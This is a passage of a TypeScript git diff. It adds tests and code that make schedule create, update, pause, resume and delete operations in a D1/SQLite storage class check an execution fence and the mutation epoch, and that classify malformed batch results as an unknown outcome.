+      f.sqlite.exec("UPDATE mastra_schedules SET status='paused'");
+    await expect(
+      f.store.observeScheduleMutation('schedule_a', 'resume', {}),
+    ).resolves.toMatchObject({ status: 'paused' });
+  });
+
+  it('rejects an invalid observer selector before SQL', async () => {
+    const f = await mutationFixture();
+    f.sql.length = 0;
+    await expect(
+      f.store.observeScheduleMutation('schedule_a', 'delete' as 'pause', {}),
+    ).rejects.toThrow('observation is invalid');
+    expect(f.sql).toEqual([]);
+  });
+});
+
+describe('schedule transaction evidence', () => {
+  it.each([
+    [
+      'missing batch slot',
+      (results: unknown[]) => {
+        delete results[1];
+      },
+    ],
+    [
+      'extra batch slot',
+      (results: unknown[]) => {
+        results.push(results[0]);
+      },
+    ],
+    [
+      'missing RETURNING',
+      (results: unknown[]) => {
+        delete (results[3] as Record<string, unknown>).results;
+      },
+    ],
+    [
+      'sparse RETURNING',
+      (results: unknown[]) => {
+        (results[3] as Record<string, unknown>).results = new Array(1);
+      },
+    ],
+    [
+      'false success',
+      (results: unknown[]) => {
+        (results[3] as Record<string, unknown>).success = false;
+      },
+    ],
+    [
+      'null metadata',
+      (results: unknown[]) => {
+        (results[3] as Record<string, unknown>).meta = null;
+      },
+    ],
+    [
+      'contradictory changes',
+      (results: unknown[]) => {
+        (results[3] as Record<string, unknown>).meta = { changes: 0 };
+      },
+    ],
+    [
+      'undefined changes',
+      (results: unknown[]) => {
+        (results[3] as Record<string, unknown>).meta = { changes: undefined };
+      },
+    ],
+    [
+      'missing owner witness',
+      (results: unknown[]) => {
+        results[4] = { results: [], meta: { changes: 0 } };
+      },
+    ],
+  ] as const)('classifies %s as unknown without compensating', async (_name, corrupt) => {
+    const f = await mutationFixture();
+    f.hooks.afterBatch = (results) => {
+      corrupt(results);
+      return results;
+    };
+    const calls = f.batches();
+    await expect(
+      f.store.createOwnedSchedule(
+        scheduleWithCreatorRole(
+          workflowSchedule({ id: 'uncertain' }),
+          'operator',
+        ),
+        { kind: 'human', id: 'opal' },
+        100,
+      ),
+    ).rejects.toBeInstanceOf(ScheduleMutationOutcomeUnknownError);
+    expect(f.batches()).toBe(calls + 1);
+    expect(await f.store.getSchedule('uncertain')).not.toBeNull();
+    expect(
+      f.sqlite
+        .prepare(
+          "SELECT owner_id FROM flowsafe_resource_owners WHERE resource_id='uncertain'",
+        )
+        .get(),
+    ).toEqual({ owner_id: 'opal' });
+  });
+
+  it('accepts complete bounded RETURNING without metadata and ignores SELECT change counts', async () => {
+    const f = await mutationFixture();
+    f.hooks.afterBatch = (results) => {
+      delete (results[3] as Record<string, unknown>).meta;
+      (results[2] as Record<string, unknown>).meta = { changes: 987 };
+      return results;
+    };
+    await expect(f.store.pauseSchedule('schedule_a')).resolves.toMatchObject({
+      status: 'paused',
+    });
+  });
+
+  it.each([
+    'before',
+    'after',
+  ] as const)('does not retry a thrown %s-batch response', async (when) => {
+    const f = await mutationFixture();
+    const cause = new Error('transport lost');
+    if (when === 'before')
+      f.hooks.beforeBatch = () => {
+        throw cause;
+      };
+    else
+      f.hooks.afterBatch = () => {
+        throw cause;
+      };
+    const calls = f.batches();
+    await expect(
+      f.store.createSchedule(workflowSchedule({ id: 'uncertain' })),
+    ).rejects.toMatchObject({
+      name: 'ScheduleMutationOutcomeUnknownError',
+      cause,
+    });
+    expect(f.batches()).toBe(calls + 1);
+    expect(await f.store.getSchedule('uncertain')).toEqual(
+      when === 'before' ? null : workflowSchedule({ id: 'uncertain' }),
+    );
+  });
+
+  it('malformed responses take precedence over a diagnosable fence refusal', async () => {
+    const f = await mutationFixture();
+    f.hooks.beforeBatch = () => activateFence(f.fence);
+    f.hooks.afterBatch = (results) => {
+      delete results[3];
+      return results;
+    };
+    await expect(f.store.pauseSchedule('schedule_a')).rejects.toBeInstanceOf(
+      ScheduleMutationOutcomeUnknownError,
+    );
+  });
+
+  it('a zero UPDATE cannot claim success from an unchanged row', async () => {
+    const f = await mutationFixture();
+    f.hooks.afterBatch = (results) => {
+      results[3] = { results: [], meta: { changes: 0 } };
+      return results;
+    };
+    await expect(
+      f.store.updateSchedule('schedule_a', { metadata: {} }),
+    ).rejects.toBeInstanceOf(ScheduleMutationOutcomeUnknownError);
+  });
+
+  it.each([
+    'update',
+    'observation',
+  ])('refuses matching truncated %s rows', async (operation) => {
+    const f = await mutationFixture();
+    f.hooks.afterBatch = (results) => {
+      for (const index of [2, 3]) {
+        const result = results[index] as { results: Record<string, unknown>[] };
+        const row = result.results[0];
+        if (!row) throw new Error('fixture row missing');
+        delete row.createdAt;
+      }
+      return results;
+    };
+    await expect(
+      operation === 'update'
+        ? f.store.updateSchedule('schedule_a', { metadata: {} })
+        : f.store.observeScheduleMutation('schedule_a', 'pause', {}),
+    ).rejects.toBeInstanceOf(ScheduleMutationOutcomeUnknownError);
+  });
+
+  it('preserves direct not-found errors after authoritative absence', async () => {
+    const f = await mutationFixture();
+    await expect(f.store.updateSchedule('absent', {})).rejects.toThrow(
+      'schedule absent not found',
+    );
+    await expect(f.store.pauseSchedule('absent')).rejects.toThrow(
+      'schedule absent not found',
+    );
+  });
+});
+
+describe('schedule deletion, preparation and compatibility', () => {
+  it('pending deletions consume the original deployment cap', async () => {
+    const f = await mutationFixture();
+    await f.store.recordTrigger({
+      id: 'deferred',
+      scheduleId: 'schedule_a',
+      runId: 'run-a',
+      scheduledFireAt: NOW,
+      actualFireAt: NOW,
+      outcome: 'deferred',
+    });
+    await expect(f.store.deleteOwnedSchedule('schedule_a')).resolves.toBe(
+      'pending',
+    );
+    expect(await f.store.listSchedules()).toEqual([]);
+    await activateFence(f.fence);
+    await expect(
+      f.store.createOwnedSchedule(
+        scheduleWithCreatorRole(workflowSchedule({ id: 'capped' }), 'operator'),
+        { kind: 'human', id: 'opal' },
+        1,
+        { mutationEpoch: 1 },
+      ),
+    ).resolves.toBeNull();
+    expect(
+      f.sqlite
+        .prepare(
+          "SELECT COUNT(*) AS count FROM flowsafe_resource_owners WHERE resource_id='capped'",
+        )
+        .get(),
+    ).toEqual({ count: 0 });
+  });
+
+  it('a stale cap-zero create reports epoch refusal', async () => {
+    const f = await mutationFixture();
+    f.hooks.beforeBatch = () => activateFence(f.fence);
+    await expect(
+      f.store.createOwnedSchedule(
+        scheduleWithCreatorRole(workflowSchedule({ id: 'capped' }), 'operator'),
+        { kind: 'human', id: 'opal' },
+        0,
+      ),
+    ).rejects.toBeInstanceOf(MutationEpochMismatchError);
+  });
+
+  it('keeps admitted trigger settlement independent of later epoch and state', async () => {
+    const f = await mutationFixture();
+    const trigger = {
+      id: 'deferred',
+      scheduleId: 'schedule_a',
+      runId: 'run-a',
+      scheduledFireAt: NOW,
+      actualFireAt: NOW,
+      outcome: 'deferred' as const,
+    };
+    await f.store.recordTrigger(trigger);
+    await activateFence(f.fence);
+    await expect(
+      f.store.deleteOwnedSchedule('schedule_a', { mutationEpoch: 1 }),
+    ).resolves.toBe('pending');
+    const marker = f.sqlite
+      .prepare(
+        "SELECT deletionRequestedAt FROM mastra_schedules WHERE id='schedule_a'",
+      )
+      .get();
+    await expect(
+      f.store.deleteOwnedSchedule('schedule_a', { mutationEpoch: 1 }),
+    ).resolves.toBe('pending');
+    expect(
+      f.sqlite
+        .prepare(
+          "SELECT deletionRequestedAt FROM mastra_schedules WHERE id='schedule_a'",
+        )
+        .get(),
+    ).toEqual(marker);
+    await moveFence(f.fence, 'draining', true);
+    await f.store.recordTrigger({
+      ...trigger,
+      outcome: 'failed',
+      error: 'settled',
+    });
+    expect(rawScheduleState(f)).toEqual([[], [], []]);
+    await f.store.recordTrigger({ ...trigger, outcome: 'failed' });
+    expect(rawScheduleState(f)).toEqual([[], [], []]);
+  });
+
+  it('a held stale deletion preserves deferred triggers and owner bytes', async () => {
+    const f = await mutationFixture();
+    await f.store.recordTrigger({
+      id: 'deferred',
+      scheduleId: 'schedule_a',
+      runId: 'run-a',
+      scheduledFireAt: NOW,
+      actualFireAt: NOW,
+      outcome: 'deferred',
+      metadata: { opaque: 'retain' },
+    });
+    const before = rawScheduleState(f);
+    f.hooks.beforeBatch = () => activateFence(f.fence);
+    await expect(
+      f.store.deleteOwnedSchedule('schedule_a'),
+    ).rejects.toBeInstanceOf(MutationEpochMismatchError);
+    expect(rawScheduleState(f)).toEqual(before);
+  });
+
+  it('guards orphan cleanup independently when the first deletion UPDATE matches no schedule', async () => {
+    const f = await mutationFixture();
+    await f.store.recordTrigger({
+      id: 'orphan',
+      scheduleId: 'schedule_a',
+      runId: null,
+      scheduledFireAt: NOW,
+      actualFireAt: NOW,
+      outcome: 'deferred',
+    });
+    f.sqlite.exec('DELETE FROM mastra_schedules');
+    const before = rawScheduleState(f);
+    f.hooks.beforeBatch = () => activateFence(f.fence);
+    await expect(
+      f.store.deleteOwnedSchedule('schedule_a'),
+    ).rejects.toBeInstanceOf(MutationEpochMismatchError);
+    expect(rawScheduleState(f)).toEqual(before);
+    await expect(
+      f.store.deleteOwnedSchedule('schedule_a', { mutationEpoch: 1 }),
+    ).resolves.toBe('deleted');
+    expect(rawScheduleState(f)).toEqual([[], [], []]);
+  });
+
+  it('deletes populated history with bounded returned rows and strict trigger changes', async () => {
+    const f = await mutationFixture();
+    const insert = f.sqlite.prepare(
+      "INSERT INTO mastra_schedule_triggers (id,scheduleId,runId,scheduledFireAt,actualFireAt,outcome) VALUES (?,'schedule_a',NULL,?,?,'published')",
+    );
+    for (let index = 0; index < 300; index += 1)
+      insert.run(`history-${index}`, NOW, NOW + index);
+    let captured: unknown[] | undefined;
+    f.hooks.afterBatch = (results) => {
+      captured = results;
+      return results;
+    };
+    await expect(f.store.deleteOwnedSchedule('schedule_a')).resolves.toBe(
+      'deleted',
+    );
+    expect(captured?.[4]).toMatchObject({
+      results: [],
+      meta: { changes: 300 },
+    });
+    expect(JSON.stringify(captured).length).toBeLessThan(10_000);
+    expect(rawScheduleState(f)).toEqual([[], [], []]);
+  });
+
+  it.each([
+    undefined,
+    { changes: 0 },
+    { changes: 1.5 },
+    { changes: undefined },
+  ])('requires exact trigger DML metadata: %j', async (meta) => {
+    const f = await mutationFixture();
+    await f.store.recordTrigger({
+      id: 'history',
+      scheduleId: 'schedule_a',
+      runId: null,
+      scheduledFireAt: NOW,
+      actualFireAt: NOW,
+      outcome: 'published',
+    });
+    f.hooks.afterBatch = (results) => {
+      if (meta === undefined)
+        delete (results[4] as Record<string, unknown>).meta;
+      else (results[4] as Record<string, unknown>).meta = meta;
+      return results;
+    };
+    const calls = f.batches();
+    await expect(
+      f.store.deleteOwnedSchedule('schedule_a'),
+    ).rejects.toBeInstanceOf(ScheduleMutationOutcomeUnknownError);
+    expect(f.batches()).toBe(calls + 1);
+    expect(rawScheduleState(f)).toEqual([[], [], []]);
+  });
+
+  it('advertises the original binding and captures facade method receivers', async () => {
+    const f = await mutationFixture();
+    const capability = f.store[FENCED_SCHEDULE_STORAGE];
+    expect(capability?.database).toBe(f.binding);
+    expect(f.fence.usesDatabase(capability?.database as object)).toBe(true);
+    if (!capability) throw new Error('schedule capability is missing');
+    f.store.pauseSchedule = () => {
+      throw new Error('replacement method');
+    };
+    const pause = capability.pauseSchedule;
+    await expect(pause('schedule_a', {})).resolves.toMatchObject({
+      status: 'paused',
+    });
+  });
+
+  it('reads on a prepare-only binding without seeding the fence and refuses authoring', async () => {
+    const sqlite = openSqlite();
+    const native = sqliteUnitDatabase(sqlite) as ScheduleDatabase;
+    const store = new D1SchedulesStorage({
+      prepare: native.prepare.bind(native),
+    });
+    expect(store[FENCED_SCHEDULE_STORAGE]).toBeUndefined();
+    await store.init();
+    await expect(store.getSchedule('absent')).resolves.toBeNull();
+    await expect(store.listSchedules()).resolves.toEqual([]);
+    expect(
+      sqlite
+        .prepare(
+          "SELECT name FROM sqlite_schema WHERE name='flowsafe_execution_fence'",
+        )
+        .all(),
+    ).toEqual([]);
+    await expect(store.createSchedule(workflowSchedule())).rejects.toThrow(
+      'requires database.batch()',
+    );
+    expect(
+      sqlite
+        .prepare(
+          "SELECT name FROM sqlite_schema WHERE name='flowsafe_execution_fence'",
+        )
+        .all(),
+    ).toEqual([]);
+  });
+
+  it('migrates a legacy empty fence on authoring and does not recreate a deleted modern singleton', async () => {
+    const sqlite = openSqlite();
+    sqlite.exec(
+      "CREATE TABLE flowsafe_execution_fence (id TEXT PRIMARY KEY CHECK(id='deployment'),state TEXT NOT NULL,proof_key TEXT,proof_run_id TEXT,updated_at INTEGER NOT NULL)",
+    );
+    const binding = sqliteUnitDatabase(sqlite) as ScheduleDatabase;
+    const store = new D1SchedulesStorage(binding);
+    await store.createSchedule(workflowSchedule());
+    expect(
+      await new ExecutionFenceStore(binding).readForAdmission(),
+    ).toMatchObject({
+      schemaStage: 7,
+      reading: { state: 'open', requireMutationEpoch: false },
+    });
+    sqlite.exec('DELETE FROM flowsafe_execution_fence');
+    await expect(store.pauseSchedule('schedule_a')).rejects.toBeInstanceOf(
+      ExecutionFenceUnreadableError,
+    );
+    expect(
+      sqlite.prepare('SELECT * FROM flowsafe_execution_fence').all(),
+    ).toEqual([]);
+  });
+
+  it('retries failed authoring preparation without seeding on read paths', async () => {
+    const sqlite = openSqlite();
+    const native = sqliteUnitDatabase(sqlite) as ScheduleDatabase;
+    let fail = true;
+    let fencePreparations = 0;
+    const binding: ScheduleDatabase = {
+      prepare(query) {
+        if (query.includes('flowsafe_execution_fence')) {
+          fencePreparations += 1;
+          if (fail) {
+            fail = false;
+            throw new Error('seed unavailable');
+          }
+        }
+        return native.prepare(query);
+      },
+      batch: native.batch?.bind(native),
+    };
+    const store = new D1SchedulesStorage(binding);
+    await store.init();
+    await store.listSchedules();
+    expect(fencePreparations).toBe(0);
+    await expect(
+      store.createSchedule(workflowSchedule()),
+    ).rejects.toBeInstanceOf(ExecutionFenceUnreadableError);
+    await expect(
+      store.createSchedule(workflowSchedule()),
+    ).resolves.toMatchObject({ id: 'schedule_a' });
+    const seed = vi.spyOn(ExecutionFenceStore.prototype, 'seed');
+    try {
+      await store.pauseSchedule('schedule_a');
+      await store.updateSchedule('schedule_a', { metadata: { ready: true } });
+      expect(seed).not.toHaveBeenCalled();
+    } finally {
+      seed.mockRestore();
+    }
+  });
+});
diff --git a/packages/flowsafe/src/schedules/schedules-d1.ts b/packages/flowsafe/src/schedules/schedules-d1.ts
index f99e2d8a..e5f88f12 100644
--- a/packages/flowsafe/src/schedules/schedules-d1.ts
+++ b/packages/flowsafe/src/schedules/schedules-d1.ts
@@ -34,6 +34,7 @@ import {
   type ScheduleTriggerListOptions,
   type ScheduleUpdate,
 } from '@mastra/core/storage';
+import { EXECUTION_FENCE_TABLE } from '#deployment-identity-protocol';
 import {
   APPROVAL_ROLES,
   canonicalResourceOwner,
@@ -41,6 +42,22 @@ import {
   RESOURCE_OWNERSHIP_TABLE,
   type ResourceOwner,
 } from '../approval-api/index.js';
+import {
+  assertMutationEpoch,
+  ExecutionFenceUnreadableError,
+  type MutationEpochContext,
+  normalizeMutationEpoch,
+} from '../do-runner/execution-admission.js';
+import {
+  admitsWorkAuthoring,
+  captureExecutionFenceAdmissionSchema,
+  decodeExecutionFenceAdmissionRow,
+  type ExecutionFenceAdmissionObservation,
+  ExecutionFencedError,
+  ExecutionFenceStore,
+  executionFenceAdmissionSql,
+  executionFenceAdmissionValues,
+} from '../do-runner/execution-fence.js';
 import { isPathSafeId } from '../do-runner/path-safe-id.js';
 import { validateTablePrefix } from '../do-runner/table-prefix.js';
 
@@ -51,6 +68,13 @@ import {
   type SignalDatabase,
   type SignalStatement,
 } from '../signals/d1-shared.js';
+import {
+  FENCED_SCHEDULE_STORAGE,
+  type FencedScheduleMutationCapability,
+  ScheduleMutationConflictError,
+  ScheduleMutationOutcomeUnknownError,
+  type ScheduleResumeMutation,
+} from './mutation-contract.js';
 import type { AuthorizedSchedule } from './target-policy.js';
 
 // The D1 seam + column helpers are Track C's canonical shared leaf
@@ -185,6 +209,285 @@ interface ScheduleTriggerRow {
   metadata: string | null;
 }
 
+const SCHEDULE_COLUMNS = [
+  'id',
+  'target',
+  'cron',
+  'timezone',
+  'status',
+  'nextFireAt',
+  'lastFireAt',
+  'lastRunId',
+  'createdAt',
+  'updatedAt',
+  'metadata',
+  'ownerType',
+  'ownerId',
+  'creatorRole',
+] as const;
+
+type ScheduleMutationOperation =
+  | 'create'
+  | 'update'
+  | 'pause'
+  | 'resume'
+  | 'delete';
+
+interface PreparedScheduleMutation {
+  epoch: number | undefined;
+  operation: ScheduleMutationOperation;
+  semantic: readonly unknown[];
+  schema: string;
+  bindings: unknown[];
+}
+
+interface ScheduleStatementResult {
+  rows: Record<string, unknown>[];
+  hasChanges: boolean;
+  changes: unknown;
+}
+
+function mutationUnknown(cause: unknown): ScheduleMutationOutcomeUnknownError {
+  return new ScheduleMutationOutcomeUnknownError({ cause });
+}
+
+function mutationRecord(value: unknown): Record<string, unknown> {
+  if (value === null || typeof value !== 'object' || Array.isArray(value)) {
+    throw new Error('schedule mutation result is malformed');
+  }
+  return value as Record<string, unknown>;
+}
+
+function captureScheduleResult(value: unknown): ScheduleStatementResult {
+  const result = mutationRecord(value);
+  if ('success' in result && result.success !== true) {
+    throw new Error('schedule mutation statement did not succeed');
+  }
+  const rows = result.results;
+  if (!Array.isArray(rows))
+    throw new Error('schedule mutation rows are missing');
+  const captured = Array.from({ length: rows.length }, (_, index) => {
+    if (!Object.hasOwn(rows, index))
+      throw new Error('schedule mutation row is missing');
+    const row = mutationRecord(rows[index]);
+    return Object.freeze(
+      Object.fromEntries(
+        Object.getOwnPropertyNames(row).map((key) => [key, row[key]]),
+      ),
+    );
+  });
+  const meta = 'meta' in result ? mutationRecord(result.meta) : undefined;
+  const hasChanges = meta !== undefined && 'changes' in meta;
+  return {
+    rows: captured,
+    hasChanges,
+    changes: hasChanges ? meta.changes : undefined,
+  };
+}
+
+function captureScheduleBatch(
+  value: unknown,
+  length: number,
+): ScheduleStatementResult[] {
+  if (!Array.isArray(value) || value.length !== length) {
+    throw new Error('schedule mutation batch cardinality is invalid');
+  }
+  return Array.from({ length }, (_, index) => {
+    if (!Object.hasOwn(value, index))
+      throw new Error('schedule mutation result is missing');
+    return captureScheduleResult(value[index]);
+  });
+}
+
+function scheduleChanges(
+  result: ScheduleStatementResult | undefined,
+  returning: boolean,
+): number {
+  if (!result) throw new Error('schedule mutation result is missing');
+  const { rows, hasChanges, changes } = result;
+  if (
+    (returning && rows.length > 1) ||
+    (!returning && (rows.length !== 0 || !hasChanges)) ||
+    (hasChanges &&
+      (typeof changes !== 'number' ||
+        !Number.isSafeInteger(changes) ||
+        changes < 0 ||
+        (returning && changes !== rows.length)))
+  )
+    throw new Error('schedule mutation changes contradict its evidence');
+  return returning ? rows.length : (changes as number);
+}
+
+function singleScheduleRow(
+  result: ScheduleStatementResult | undefined,
+): Record<string, unknown> | undefined {
+  if (!result) throw new Error('schedule mutation result is missing');
+  if (result.rows.length > 1)
+    throw new Error('schedule mutation returned multiple rows');
+  return result.rows[0];
+}
+
+function sameScheduleFields(
+  row: Record<string, unknown>,
+  expected: Record<string, unknown>,
+): boolean {
+  return Object.entries(expected).every(
+    ([key, value]) => Object.hasOwn(row, key) && row[key] === value,
+  );
+}
+
+function requireScheduleFields(
+  row: Record<string, unknown> | undefined,
+  expected: Record<string, unknown>,
+): asserts row is Record<string, unknown> {
+  if (!row || !sameScheduleFields(row, expected)) {
+    throw new Error('schedule mutation returned a different row');
+  }
+}
+
+function mutationScheduleRow(row: Record<string, unknown>): ScheduleRow {
+  const text = ['id', 'target', 'cron', 'status'];
+  const nullableText = [
+    'timezone',
+    'lastRunId',
+    'metadata',
+    'ownerType',
+    'ownerId',
+    'creatorRole',
+  ];
+  const numeric = ['nextFireAt', 'createdAt', 'updatedAt'];
+  const nullableNumeric = ['lastFireAt', 'deletionRequestedAt'];
+  if (
+    text.some((key) => typeof row[key] !== 'string') ||
+    nullableText.some(
+      (key) => row[key] !== null && typeof row[key] !== 'string',
+    ) ||
+    numeric.some(
+      (key) => typeof row[key] !== 'number' || !Number.isFinite(row[key]),
+    ) ||
+    nullableNumeric.some(
+      (key) =>
+        row[key] !== null &&
+        (typeof row[key] !== 'number' || !Number.isFinite(row[key])),
+    )
+  ) {
+    throw new Error('schedule mutation row is malformed');
+  }
+  return row as unknown as ScheduleRow;
+}
+
+function captureSchedule(schedule: Schedule): ScheduleRow {
+  const {
+    id,
+    target,
+    cron,
+    timezone,
+    status,
+    nextFireAt,
+    lastFireAt,
+    lastRunId,
+    createdAt,
+    updatedAt,
+    metadata,
+    ownerType,
+    ownerId,
+    creatorRole,
+  } = schedule as Schedule & { creatorRole?: string };
+  return {
+    id,
+    target: JSON.stringify(target),
+    cron,
+    timezone: timezone ?? null,
+    status,
+    nextFireAt,
+    lastFireAt: lastFireAt ?? null,
+    lastRunId: lastRunId ?? null,
+    createdAt,
+    updatedAt,
+    metadata: jsonOrNull(metadata),
+    ownerType: ownerType ?? null,
+    ownerId: ownerId ?? null,
+    creatorRole: creatorRole ?? null,
+    deletionRequestedAt: null,
+  };
+}
+
+function captureSchedulePatch(patch: ScheduleUpdate): Partial<ScheduleRow> {
+  const {
+    cron,
+    timezone,
+    status,
+    nextFireAt,
+    metadata,
+    target,
+    ownerType,
+    ownerId,
+  } = patch;
+  return {
+    updatedAt: Date.now(),
+    ...(cron !== undefined ? { cron } : {}),
+    ...(timezone !== undefined ? { timezone: timezone ?? null } : {}),
+    ...(status !== undefined ? { status } : {}),
+    ...(nextFireAt !== undefined ? { nextFireAt } : {}),
+    ...(metadata !== undefined ? { metadata: jsonOrNull(metadata) } : {}),
+    ...(target !== undefined ? { target: JSON.stringify(target) } : {}),
+    ...(ownerType !== undefined ? { ownerType: ownerType ?? null } : {}),
+    ...(ownerId !== undefined ? { ownerId: ownerId ?? null } : {}),
+  };
+}
+
+function requiresOpenFence(operation: ScheduleMutationOperation): boolean {
+  return (
+    operation === 'create' || operation === 'update' || operation === 'resume'
+  );
+}
+
+function scheduleMutationGuard(prepared: PreparedScheduleMutation): string {
+  return executionFenceAdmissionSql({
+    callerEpoch: '?1',
+    semantic: prepared.semantic.map((_, index) => `?${index + 2}`),
+    schema: '?12',
+    statePredicate: requiresOpenFence(prepared.operation)
+      ? "f.state COLLATE BINARY = 'open'"
+      : '1',
+  });
+}
+
+interface ScheduleDeletionFacts {
+  schedules: number;
+  deletion_requested_at: number | null;
+  triggers: number;
+  deferred: number;
+  owners: number;
+}
+
+function deletionFacts(result: ScheduleStatementResult): ScheduleDeletionFacts {
+  const row = singleScheduleRow(result);
+  if (
+    !row ||
+    ['schedules', 'triggers', 'deferred', 'owners'].some(
+      (key) =>
+        typeof row[key] !== 'number' ||
+        !Number.isSafeInteger(row[key]) ||
+        row[key] < 0,
+    )
+  )
+    throw new Error('schedule deletion facts are malformed');
+  const facts = row as unknown as ScheduleDeletionFacts;
+  if (
+    facts.schedules > 1 ||
+    facts.owners > 1 ||
+    facts.deferred > facts.triggers ||
+    (facts.deletion_requested_at !== null &&
+      (typeof facts.deletion_requested_at !== 'number' ||
+        !Number.isFinite(facts.deletion_requested_at))) ||
+    (facts.schedules === 0 && facts.deletion_requested_at !== null)
+  ) {
+    throw new Error('schedule deletion facts are inconsistent');
+  }
+  return facts;
+}
+
 function rowToSchedule(row: ScheduleRow): Schedule {
   const target = parseJsonOrUndefined<Schedule['target']>(row.target);
   const schedule: Schedule = {
@@ -251,17 +554,162 @@ function rowToTrigger(row: ScheduleTriggerRow): ScheduleTrigger {
  * no adapter change.
  */
 export class D1SchedulesStorage extends SchedulesStorage {
+  readonly [FENCED_SCHEDULE_STORAGE]?: FencedScheduleMutationCapability;
   readonly #db: ScheduleDatabase;
+  readonly #fence: ExecutionFenceStore;
+  readonly #mutationBatch?: (
+    statements: ScheduleStatement[],
+  ) => Promise<unknown[]>;
   readonly #schedules: string;
   readonly #triggers: string;
   #ready?: Promise<void>;
+  #authoringReady?: Promise<void>;
 
   constructor(db: ScheduleDatabase, tablePrefix = '') {
     super();
     const prefix = validateTablePrefix(tablePrefix) ?? '';
     this.#db = db;
+    this.#fence = new ExecutionFenceStore(db);
     this.#schedules = `${prefix}mastra_schedules`;
     this.#triggers = `${prefix}mastra_schedule_triggers`;
+    const batch = db.batch;
+    if (typeof batch === 'function') {
+      this.#mutationBatch = (statements) =>
+        Reflect.apply(batch, db, [statements]);
+      this[FENCED_SCHEDULE_STORAGE] = Object.freeze({
+        database: db as FencedScheduleMutationCapability['database'],
+        createOwnedSchedule: this.createOwnedSchedule.bind(this),
+        updateSchedule: this.updateSchedule.bind(this),
+        pauseSchedule: this.pauseSchedule.bind(this),
+        resumeSchedule: this.resumeSchedule.bind(this),
+        deleteOwnedSchedule: this.deleteOwnedSchedule.bind(this),
+        observeScheduleMutation: this.observeScheduleMutation.bind(this),
+      });
+    }
+  }
+
+  async #prepareMutation(
+    epoch: number | undefined,
+    operation: ScheduleMutationOperation,
+  ): Promise<PreparedScheduleMutation> {
+    if (!this.#mutationBatch) {
+      throw new Error(
+        'D1SchedulesStorage requires database.batch() for schedule mutations',
+      );
+    }
+    if (!this.#authoringReady) {
+      this.#authoringReady = this.#ensureSchema()
+        .then(() => this.#fence.seed('open'))
+        .catch((error: unknown) => {
+          this.#authoringReady = undefined;
+          throw error;
+        });
+    }
+    await this.#authoringReady;
+    const observation = await this.#fence.readForAdmission();
+    const semantic = executionFenceAdmissionValues(observation);
+    assertMutationEpoch(observation.reading, epoch);
+    if (
+      requiresOpenFence(operation) &&
+      !admitsWorkAuthoring(observation.reading)
+    ) {
+      throw new ExecutionFencedError(observation.reading.state);
+    }
+    let schema: string;
+    try {
+      const captured = captureScheduleResult(
+        await this.#db
+          .prepare(`PRAGMA table_xinfo(${EXECUTION_FENCE_TABLE})`)
+          .all(),
+      );
+      schema = await captureExecutionFenceAdmissionSchema({
+        results: captured.rows,
+      });
+    } catch (cause) {
+      throw new ExecutionFenceUnreadableError(
+        'execution fence schema is not readable',
+        { cause },
+      );
+    }
+    return {
+      epoch,
+      operation,
+      semantic,
+      schema,
+      bindings: [epoch ?? null, ...semantic, schema],
+    };
+  }
+
+  #mutationDiagnostics(): [ScheduleStatement, ScheduleStatement] {
+    return [
+      this.#db.prepare(`SELECT * FROM ${EXECUTION_FENCE_TABLE} LIMIT 2`),
+      this.#db.prepare(`PRAGMA table_xinfo(${EXECUTION_FENCE_TABLE})`),
+    ];
+  }
+
+  async #executeMutation<const Statements extends readonly ScheduleStatement[]>(
+    prepared: PreparedScheduleMutation,
+    statements: Statements,
+    returningSlots: readonly number[],
+    changesSlot?: number,
+  ): Promise<{ [Index in keyof Statements]: ScheduleStatementResult }> {
+    let results: ScheduleStatementResult[];
+    let writes: number;
+    try {
+      if (!this.#mutationBatch)
+        throw new Error('schedule mutation batch is unavailable');
+      results = captureScheduleBatch(
+        await this.#mutationBatch([...statements]),
+        statements.length,
+      );
+      writes = returningSlots.reduce(
+        (count, slot) => count + scheduleChanges(results[slot], true),
+        0,
+      );
+      if (changesSlot !== undefined)
+        writes += scheduleChanges(results[changesSlot], false);
+    } catch (cause) {
+      throw mutationUnknown(cause);
+    }
+    let current: ExecutionFenceAdmissionObservation;
+    let semantic: readonly unknown[];
+    let schema: string;
+    const schemaResult = results[1];
+    try {
+      const row = singleScheduleRow(results[0]);
+      if (!row) throw new Error('execution fence singleton is missing');
+      current = decodeExecutionFenceAdmissionRow(row);
+      semantic = executionFenceAdmissionValues(current);
+      if (!schemaResult)
+        throw new Error('execution fence schema result is missing');
+      schema = await captureExecutionFenceAdmissionSchema({
+        results: schemaResult.rows,
+      });
+    } catch (cause) {
+      const unreadable = new ExecutionFenceUnreadableError(
+        'execution fence state is not readable',
+        { cause },
+      );
+      throw writes === 0 ? unreadable : mutationUnknown(unreadable);
+    }
+    try {
+      assertMutationEpoch(current.reading, prepared.epoch);
+      if (
+        requiresOpenFence(prepared.operation) &&
+        !admitsWorkAuthoring(current.reading)
+      ) {
+        throw new ExecutionFencedError(current.reading.state);
+      }
+      if (
+        semantic.some((value, index) => value !== prepared.semantic[index]) ||
+        schema !== prepared.schema
+      ) {
+        throw new ScheduleMutationConflictError('fence-changed');
+      }
+    } catch (cause) {
+      throw writes === 0 ? cause : mutationUnknown(cause);
+    }
+    return results as { [Index in keyof Statements]: ScheduleStatementResult };
   }
 
   /**
@@ -371,17 +819,41 @@ export class D1SchedulesStorage extends SchedulesStorage {
     await this.#ensureSchema();
   }
 
-  async createSchedule(schedule: Schedule): Promise<Schedule> {
-    await this.#ensureSchema();
+  async createSchedule(
+    schedule: Schedule,
+    context?: MutationEpochContext,
+  ): Promise<Schedule> {
+    const epoch = normalizeMutationEpoch(context?.mutationEpoch);
+    const row = captureSchedule(schedule);
+    const prepared = await this.#prepareMutation(epoch, 'create');
+    const results = await this.#executeMutation(
+      prepared,
+      [
+        ...this.#mutationDiagnostics(),
+        this.#db
+          .prepare(
+            `SELECT id FROM ${this.#schedules} WHERE id COLLATE BINARY = ?1 LIMIT 2`,
+          )
+          .bind(row.id),
+        this.#insertScheduleStatement(row, prepared),
+      ],
+      [3],
+    );
     try {
-      await this.#insertSchedule(schedule);
-    } catch (error) {
-      if (String(error).includes('UNIQUE constraint failed')) {
-        throw new Error(`schedule ${schedule.id} already exists`);
+      const existing = singleScheduleRow(results[2]);
+      if (existing) requireScheduleFields(existing, { id: row.id });
+      const created = singleScheduleRow(results[3]);
+      if (created) {
+        if (existing)
+          throw new Error('schedule insertion contradicts existing id');
+        requireScheduleFields(created, { ...row });
+        return rowToSchedule(mutationScheduleRow(created));
       }
-      throw error;
+      if (!existing) throw new Error('schedule insertion has no outcome');
+    } catch (cause) {
+      throw mutationUnknown(cause);
     }
-    return schedule;
